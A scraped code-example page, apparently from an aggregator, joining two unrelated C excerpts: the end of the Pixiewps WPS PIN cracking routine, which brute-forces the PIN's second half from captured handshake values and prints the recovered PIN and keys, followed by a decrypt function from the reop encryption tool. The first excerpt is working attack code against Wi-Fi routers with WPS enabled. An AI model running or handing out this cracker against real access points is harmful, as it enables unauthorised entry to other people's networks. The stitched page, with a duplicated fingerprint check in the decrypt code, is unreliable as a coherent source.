			if (first_half < 10000) { /* First half found */
				unsigned char checksum_digit;
				unsigned int c_second_half;

				/* Testing with checksum digit */
				while (second_half < 1000) {
					checksum_digit = wps_pin_checksum(first_half * 1000 + second_half);
					c_second_half = second_half * 10 + checksum_digit;
					uint_to_char_array(c_second_half, 4, s_pin);
					hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk2);
					memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN);
					memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN);
					memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN);
					memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN);
					hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result);

					if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) {
						second_half++;
					} else {
						second_half = c_second_half;
						found = true;
						break;
					}
				}

				/* Testing without checksum digit */
				if (!found) {
					second_half = 0;

					while (second_half < 10000) {

						/* If already tested skip */
						if (wps_pin_valid(first_half * 10000 + second_half)) {
							second_half++;
							continue;
						}

						uint_to_char_array(second_half, 4, s_pin);
						hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk2);
						memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN);
						memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN);
						memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN);
						memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN);
						hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result);

						if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) {
							second_half++;
						} else {
							found = true;
							break;
						}
					}
				}
			}
		}

		/* E-S1 = E-Nonce != E-S2 */
		if (mode == 4 && print_seed && !found) {
			memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN);
			mode++;
			goto crack;
		}

		mode++;
	}

	gettimeofday(&t1, 0);
	long elapsed_s = t1.tv_sec - t0.tv_sec;
	mode--;

	printf("\n Pixiewps %s\n", VERSION);

	if (found) {
		if (wps->e_nonce) {
			if ((mode == 3 || mode == 4) && wps->verbosity > 2) {
				printf("\n [*] PRNG Seed:  %u", print_seed);
			}
			if (mode == 4 && wps->verbosity > 2) {
				time_t seed_time;
				struct tm ts;
				char buffer[30];

				seed_time = print_seed;
				ts = *localtime(&seed_time);
				strftime(buffer, 30, "%c", &ts);
				printf(" (%s)", buffer);
			}
		}
		if (wps->verbosity > 2) {
			if (wps->dhkey) { /* To see if AuthKey was supplied or not */
				printf("\n [*] DHKey:      "); byte_array_print(wps->dhkey, WPS_HASH_LEN);
				printf("\n [*] KDK:        "); byte_array_print(wps->kdk, WPS_HASH_LEN);
				printf("\n [*] AuthKey:    "); byte_array_print(wps->authkey, WPS_AUTHKEY_LEN);
				printf("\n [*] EMSK:       "); byte_array_print(wps->emsk, WPS_EMSK_LEN);
				printf("\n [*] KeyWrapKey: "); byte_array_print(wps->wrapkey, WPS_KEYWRAPKEY_LEN);
			}
			printf("\n [*] PSK1:       "); byte_array_print(wps->psk1, WPS_PSK_LEN);
			printf("\n [*] PSK2:       "); byte_array_print(wps->psk2, WPS_PSK_LEN);
		}
		if (wps->verbosity > 1) {
			printf("\n [*] E-S1:       "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN);
			printf("\n [*] E-S2:       "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN);
		}
		printf("\n [+] WPS pin:    %04u%04u", first_half, second_half);
	} else {
		printf("\n [-] WPS pin not found!");
	}
	printf("\n\n [*] Time taken: %lu s\n\n", elapsed_s);

	if (!found && mode == 4 && valid && !wps->bruteforce) {
		printf(" [!] The AP /might be/ vulnerable to mode 4. Try again with --force or with another (newer) set of data.\n\n");
	}

	free(result);
	free(buffer);

	free(wps->pke);
	free(wps->pkr);
	free(wps->e_hash1);
	free(wps->e_hash2);
	free(wps->authkey);
	free(wps->e_nonce);
	free(wps->r_nonce);
	free(wps->e_bssid);
	free(wps->psk1);
	free(wps->psk2);
	free(wps->e_s1);
	free(wps->e_s2);
	free(wps->error);

	if (wps->verbosity > 2) {
		free(wps->dhkey);
		free(wps->kdk);
		free(wps->wrapkey);
		free(wps->emsk);
	}

	free(wps);

	return (!found); /* 0 success, 1 failure */
}
Пример #20
0
/*
 * decrypt a file, either public key or symmetric based on header
 */
static void
decrypt(const char *pubkeyfile, const char *seckeyfile, const char *msgfile,
    const char *encfile)
{
	char ident[IDENTLEN];
	uint8_t *encdata;
	unsigned long long encdatalen;
	uint8_t *msg;
	unsigned long long msglen;
	union {
		uint8_t alg[2];
		struct symmsg symmsg;
		struct encmsg encmsg;
		struct ekcmsg ekcmsg;
	} hdr;
	struct pubkey pubkey;
	struct seckey seckey;
	uint8_t symkey[SYMKEYBYTES];
	char *begin, *end;
	int fd, rounds, rv;
	const char *beginreopmsg = "-----BEGIN REOP ENCRYPTED MESSAGE-----\n";
	const char *beginreopdata = "-----BEGIN REOP ENCRYPTED MESSAGE DATA-----\n";
	const char *endreopmsg = "-----END REOP ENCRYPTED MESSAGE-----\n";

	encdata = readall(encfile, &encdatalen);
	if (strncmp(encdata, beginreopmsg, strlen(beginreopmsg)) != 0)
 		goto fail;
	begin = readident(encdata + 39, ident);
	if (!(end = strstr(begin, beginreopdata)))
 		goto fail;
	*end = 0;
	if ((rv = b64_pton(begin, (void *)&hdr, sizeof(hdr))) == -1)
 		goto fail;
	begin = end + 44;
	if (!(end = strstr(begin, endreopmsg)))
 		goto fail;
	*end = 0;

	msglen = (strlen(begin) + 3) / 4 * 3 + 1;
	msg = xmalloc(msglen);
	msglen = b64_pton(begin, msg, msglen);
	if (msglen == -1)
 		goto fail;

	if (memcmp(hdr.alg, SYMALG, 2) == 0) {
		kdf_allowstdin allowstdin = { strcmp(encfile, "-") != 0 };
		kdf_confirm confirm = { 0 };
		if (rv != sizeof(hdr.symmsg))
 			goto fail;
		if (memcmp(hdr.symmsg.kdfalg, KDFALG, 2) != 0)
			errx(1, "unsupported KDF");
		rounds = ntohl(hdr.symmsg.kdfrounds);
		kdf(hdr.symmsg.salt, sizeof(hdr.symmsg.salt), rounds,
		    allowstdin, confirm, symkey, sizeof(symkey));
		symdecryptmsg(msg, msglen, hdr.symmsg.box, symkey);
		explicit_bzero(symkey, sizeof(symkey));
	} else if (memcmp(hdr.alg, ENCALG, 2) == 0) {
		kdf_allowstdin allowstdin = { strcmp(msgfile, "-") != 0 };
		if (rv != sizeof(hdr.encmsg))
			goto fail;
		getpubkey(pubkeyfile, ident, &pubkey);
		getseckey(seckeyfile, &seckey, NULL, allowstdin);
		/* pub/sec pairs work both ways */
		if (memcmp(hdr.encmsg.pubfingerprint, pubkey.fingerprint, FPLEN) == 0) {
			if (memcmp(hdr.encmsg.secfingerprint, seckey.fingerprint, FPLEN) != 0)
				goto fpfail;
		} else if (memcmp(hdr.encmsg.pubfingerprint, seckey.fingerprint, FPLEN) != 0 ||
		    memcmp(hdr.encmsg.pubfingerprint, seckey.fingerprint, FPLEN) != 0)
			goto fpfail;

		pubdecryptmsg(msg, msglen, hdr.encmsg.box, pubkey.enckey, seckey.enckey);
		explicit_bzero(&seckey, sizeof(seckey));
	} else if (memcmp(hdr.alg, EKCALG, 2) == 0) {
		kdf_allowstdin allowstdin = { strcmp(msgfile, "-") != 0 };
		if (rv != sizeof(hdr.ekcmsg))
			goto fail;
		getseckey(seckeyfile, &seckey, NULL, allowstdin);
		if (memcmp(hdr.ekcmsg.pubfingerprint, seckey.fingerprint, FPLEN) != 0)
			goto fpfail;

		pubdecryptmsg(msg, msglen, hdr.ekcmsg.box, hdr.ekcmsg.pubkey, seckey.enckey);
		explicit_bzero(&seckey, sizeof(seckey));
	}
	fd = xopen(msgfile, O_CREAT|O_TRUNC|O_NOFOLLOW|O_WRONLY, 0666);
	writeall(fd, msg, msglen, msgfile);
	close(fd);
	xfree(msg, msglen);
	return;

fail:
	errx(1, "invalid encrypted message: %s", encfile);
fpfail:
	errx(1, "fingerprint mismatch");
}